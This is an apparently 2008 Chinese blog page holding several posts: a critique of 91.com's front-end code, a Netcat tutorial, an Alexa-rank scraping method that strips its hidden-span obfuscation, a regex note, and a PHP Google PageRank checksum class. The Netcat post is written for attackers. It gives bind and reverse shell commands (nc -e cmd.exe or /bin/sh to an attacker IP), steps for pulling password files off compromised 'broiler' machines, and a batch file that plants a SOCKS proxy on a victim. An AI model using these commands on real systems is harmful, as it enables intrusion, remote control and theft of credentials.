登录 |

91.com先不要着急招什么PHPer,招几个前端开发工程师吧!

2008年08月29日 上午 09:42 | 作者:

8月去了一趟福建网龙应聘高级PHP,由于工作经历与需求不符,失败
呵呵,可惜了我的来回路费哟……
phpchina总版主“标哥”在那里做阵,幸会,幸会

闲话少说,91的php技术怎么样,不知道,没看过他们写的代码,估计现在重点放在webgame。

今天重点说说他们的糟糕的前端技术,所谓金玉其表……
我们看看这两个网站:http://www.91.comhttp://www.mmosite.com/

0、你应该打不开http://www.mmosite.com
在我浏览器下载200K以上的数据之后,仍然显示一片空白……
我只能猜测,这是用了最新的ajax comit技术

1、把浏览器的js禁用掉,打开www.91.com
不知道他们的后台统计有没有统计出多少用户会因为js引擎问题,无法访问这个网站
<!– START AIYA Site Stat. –>
<SCRIPT language=JavaScript type=”text/javascript” src=”//js.aiya.com.cn/stat.js”></SCRIPT>
<NOSCRIPT><img src=”//logs.aiya.com.cn/a?ci=91″ alt=””></NOSCRIPT>
<!– END AIYA Site Stat. –>

2、伪标准化div+css
div标签的作用就是嵌套一个又一个的table,然后用tr、td二将显示信息列表

3、充斥页面的javascript
应该没有听说过什么叫Unobtrusive JavaScript(非侵入式)

4、站点没有进行任何的js规划
一段函数这个页面要用,复制一下,那个页面也要用,再复制一下……

5、js本身的编码水平还处于社会主义初级阶段
看看91问吧的tab切换,function change(num)

6、文本类型html、css、js没有采用任何的压缩输出
姑且认为是可能考虑到网游用户都是宽带,而cpu又价格昂贵……

7、注意底部那条蓝/紫分割线,那是一个惊人的table
<table cellspacing=”0″ cellpadding=”0″ border=”0″ align=”center” width=”980″>
<tbody><tr>
<td height=”3″ bgcolor=”#4bdbfb” width=”195″/>
<td bgcolor=”#3673b9″ width=”785″/>
</tr>
</tbody></table>

黑客瑞士军刀NC使用教程

2008年08月25日 下午 50:47 | 作者:

######################################################################

1. 写在前面的话

######################################################################

NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大.

对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.

1.1 NC.EXE是一个非标准的telnet客户端程序,

1.2 还有一个putty.exe客户端程序,提供四种连接模式

-raw -telnet -rlogin -ssh.

虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。

######################################################################

2. Netcat 1.10 for NT 帮助信息

######################################################################

C:\WINDOWS\Desktop>nc -h

[v1.10 NT]

connect to somewhere: nc [-options] hostname port[s] [ports] …

listen for inbound: nc -l -p port [options] [hostname] [port]

options:

-d detach from console, background mode (后台模式)

-e prog inbound program to exec [dangerous!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, …

-h this cruft (本帮助信息)

-i secs delay interval for lines sent, ports scanned (延迟时间)

-l listen mode, for inbound connects (监听模式,等待连接)

-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)

-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)

-o file hex dump of traffic (十六进制模式输出文件,三段)

-p port local port number (本地端口)

-r randomize local and remote ports (随机本地远程端口)

-s addr local source address (本地源地址)

-t answer TELNET negotiation

-u UDP mode

-v verbose [use twice to be more verbose] (-vv 更多信息)

-w secs timeout for connects and final net reads

-z zero-I/O mode [used for scanning] (扫描模式,-vv)

port numbers can be individual or ranges: m-n [inclusive]
######################################################################

3. Netcat 1.10 常用的命令格式

######################################################################

3.1.端口的刺探:

nc -vv ip port

RIVER [192.168.0.198] 19190 (?) open //显示是否开放open

3.2.扫描器

nc -vv -w 5 ip port-port port

nc -vv -z ip port-port port

这样扫描会留下大量的痕迹,系统管理员会额外小心

3.3. 后门

victim machine: //受害者的机器

nc -l -p port -e cmd.exe //win2000

nc -l -p port -e /bin/sh //unix,linux

attacker machine: //攻击者的机器.

nc ip -p port //连接victim_IP,然后得到一个shell。

3.5.传送文件:3.5.1 attacker machine <– victim machine //从肉鸡拖密码文件回来.

nc -d -l -p port < path\filedest     /*attacker machine*/ 可以shell执行

nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出

//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.

3.5.2 attacker machine –> victim machine //上传命令文件到肉鸡

nc -vv -l -p port > path\file.txt      /*victim machine*/ 需要Ctrl+C退出

nc -d victim_ip port < path\filedest   /*attacker machine*/ 可以shell执行

//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

结论: 可以传输ascii,bin文件.可以传输程序文件.

问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .

或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?

3.6 端口数据抓包.

nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error

< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command “” unr

< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized…

< 00000084 83 00 00 01 8f # …..

3.7 telnet,自动批处理。

nc victim_ip port < path\file.cmd   /*victim machine*/ 显示执行过程.

nc -vv victim_ip port < path\file.cmd   /*victim machine*/ 显示执行过程.

nc -d victim_ip port < path\file.cmd 安静模式.

_______________file.cmd________________________

password

cd %windir%

echo []=[%windir%]

c:

cd \

md test

cd /d %windir%\system32\

net stop sksockserver

snake.exe -config port 11111

net start sksockserver

exit

3.4.反向连接

attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.

//或者wollf的反向连接.

nc -vv -l -p port

victim machine:

nc -e cmd.exe attacker ip -p port

nc -e /bin/sh attacker ip -p port

或者:

attacker machine:

nc -vv -l -p port1 /*用于输入*/

nc -vv -l -p prot2 /*用于显示*/

victim machine:

nc attacker_ip port1   cmd.exe   nc attacker_ip port2

nc attacker_ip port1   /bin/sh   nc attacker_ip port2

139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)

这样就可以保证nc.exe优先于NETBIOS。

Alexa排名抓取思路

2008年08月24日 下午 16:36 | 作者:

alexa使用混淆的<span class=”class{display:none}”>数字</span>方法混淆输出结果:

例:http://www.alexa.com/data/details/traffic_details/hemon.cn

排名:560,992

<span class=”c97e”>56</span>
<span class=”c400″>10</span>
<span class=”c147″>0,</span>
9
<span class=”c5be”>17</span>
<span class=”c6e0″>92</span>

[c400,c5be] style:display:none,不影响正常的浏览器查看。

所有style:display:none的class都定义在:

http://client.alexa.com/common/css/scramble.css

(c11e|c125|c12d|c130|c145|c14d|c15f|c163|c169|c17f|c182|c187|c197|c1a5|c1ae|c1b0|c1c0|c1cc|c1e1|c20c|c227|c232|c235|c25a|c261|c290|c293|c29d|c2be|c2ec|c306|c311|c34f|c350|c386|c39e|c3a0|c3a7|c3b2|c3e0|c3ec|c400|c401|c405|c44e|c477|c4ba|c4bb|c4d4|c4d6|c4e0|c4e5|c4ef|c4f6|c4f8|c4fb|c501|c510|c514|c515|c52a|c52c|c533|c53b|c54a|c55a|c560|c584|c5a7|c5bc|c5be|c5de|c60c|c629|c64f|c656|c678|c695|c69a|c6bf|c6c9|c6da|c6e4|c6ee|c6ef|c6fd|c712|c744|c745|c747|c7ad|c7b6|c7b8|c7dc|c80f|c820|c84e|c85d|c862|c88e|c8a7|c8ad|c8e3|c8e9|c8f3|c8f6|c8ff|c92f|c932|c946|c94e|c95f|c963|c994|c9b3|c9b5|c9c7|c9d0|c9eb|ca07|ca0b|ca15|ca17|ca33|ca53|ca57|ca58|cabd|cae7|cb09|cb10|cb59|cb74|cb79|cb82|cb91|cb9b|cbae|cbb6|cbbb|cbc6|cbc8|cbcd|cbea|cbed|cbf1|cbf8|cc04|cc0b|cc75|cc77|cc9c|cca6|ccb3|ccc5|ccee|cd33|cda3|cdcf|cdd1|cde4|cde5|cded|ce12|ce1b|ce1e|ce32|ce3c|ce45|ce52|ce55|ce78|ce82|ce83|ce87|ce9b|ceba|cec3|ced0|cf15|cf6b|cf9d|cfa2|cfa8|cfb5|cfbe|cfc1|cfdb|cfe9)

过滤步骤:

替换隐藏样式的html:<span class=”(?:c11e|c125|…)”>\d+</span>

保留正常显示的innerHtml:<span class=”\w{4}”>(\d+)</span>

字符串“或”匹配

2008年08月24日 下午 57:49 | 作者:

  1. [abc] 匹配:a或 b或 c
    • a
    • b
    • c
  2. (abc|def|ghi) 匹配:abc 或 def 或 ghi
    • abc
    • def
    • ghi
  3.  (?:abc|def|ghi) #不保存匹配结果

获取googlePR

2008年08月20日 上午 04:05 | 作者:

网上找到一个获取googlePR的class,按照自己的编码规范,重构了一下:

getPageRank($url);
*/
define('GOOGLE_MAGIC', 0xE6359A60);
class GooglePR{

	function getPageRank($url){
		$query = $this->getQuery($url);
		$data = $this->getRankData($query);
		$pageRank = $this->parseRank($data);
		return $pageRank;
	}

	function getQuery($url){
		$ch = $this->getCh($url);
		$query = "/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";
		return $query;
	}

	function getRankData($query){
		//return file_get_contents('http://www.google.com' . $query);
		$fp = fsockopen("www.google.com", 80, $errno, $errstr, 30);
		if (!$fp) {
			echo "$errstr ($errno)
\n"; } else { $out = "GET $query HTTP/1.1\r\n" ; $out .= "Host: www.google.com\r\n" ; $out .= "Connection: Close\r\n\r\n" ; fwrite($fp, $out); while (!feof($fp)) { $data .= fgets($fp, 128); } fclose($fp); } return $data; } function parseRank($data){ $pos = strpos($data, "Rank_1:"); // Rank_1:1:4/Rank_1:2:10 if($pos === false){ $pageRank = 0; }else{ $len = substr($data, $pos+7, 1); $pageRank = substr($data, $pos+9, $len); } return $pageRank; } function getCh($url, $length=null, $init=GOOGLE_MAGIC) { $url = $this->strord("info:" . $url); if(is_null($length)) { $length = sizeof($url); } $a = $b = 0x9E3779B9; $c = $init; $k = 0; $len = $length; while($len >= 12) { $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24)); $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24)); $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24)); $mix = $this->mix($a,$b,$c); $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; $k += 12; $len -= 12; } $c += $length; switch($len){ case 11: $c += ($url[$k+10]<<24); case 10: $c += ($url[$k+9]<<16); case 9 : $c += ($url[$k+8]<<8); /* the first byte of c is reserved for the length */ case 8 : $b += ($url[$k+7]<<24); case 7 : $b += ($url[$k+6]<<16); case 6 : $b += ($url[$k+5]<<8); case 5 : $b += ($url[$k+4]); case 4 : $a += ($url[$k+3]<<24); case 3 : $a += ($url[$k+2]<<16); case 2 : $a += ($url[$k+1]<<8); case 1 : $a += ($url[$k+0]); } $mix = $this->mix($a, $b, $c); /* report the result */ return "6" . $mix[2]; } function zeroFill($a, $b){ $z = hexdec(80000000); if ($z & $a){ $a = ($a>>1); $a &= (~$z); $a |= 0x40000000; $a = ($a>>($b-1)); }else{ $a = ($a>>$b); } return $a; } function mix($a,$b,$c) { $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,13)); $b -= $c; $b -= $a; $b ^= ($a<<8); $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,13)); $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,12)); $b -= $c; $b -= $a; $b ^= ($a<<16); $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,5)); $a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,3)); $b -= $c; $b -= $a; $b ^= ($a<<10); $c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,15)); return array($a, $b, $c); } //converts a string into an array of integers containing the numeric value of the char function strord($string) { $strlen = strlen($string); for($i = 0; $i < $strlen; $i++) { $result[$i] = ord($string{$i}); } return $result; } } ?>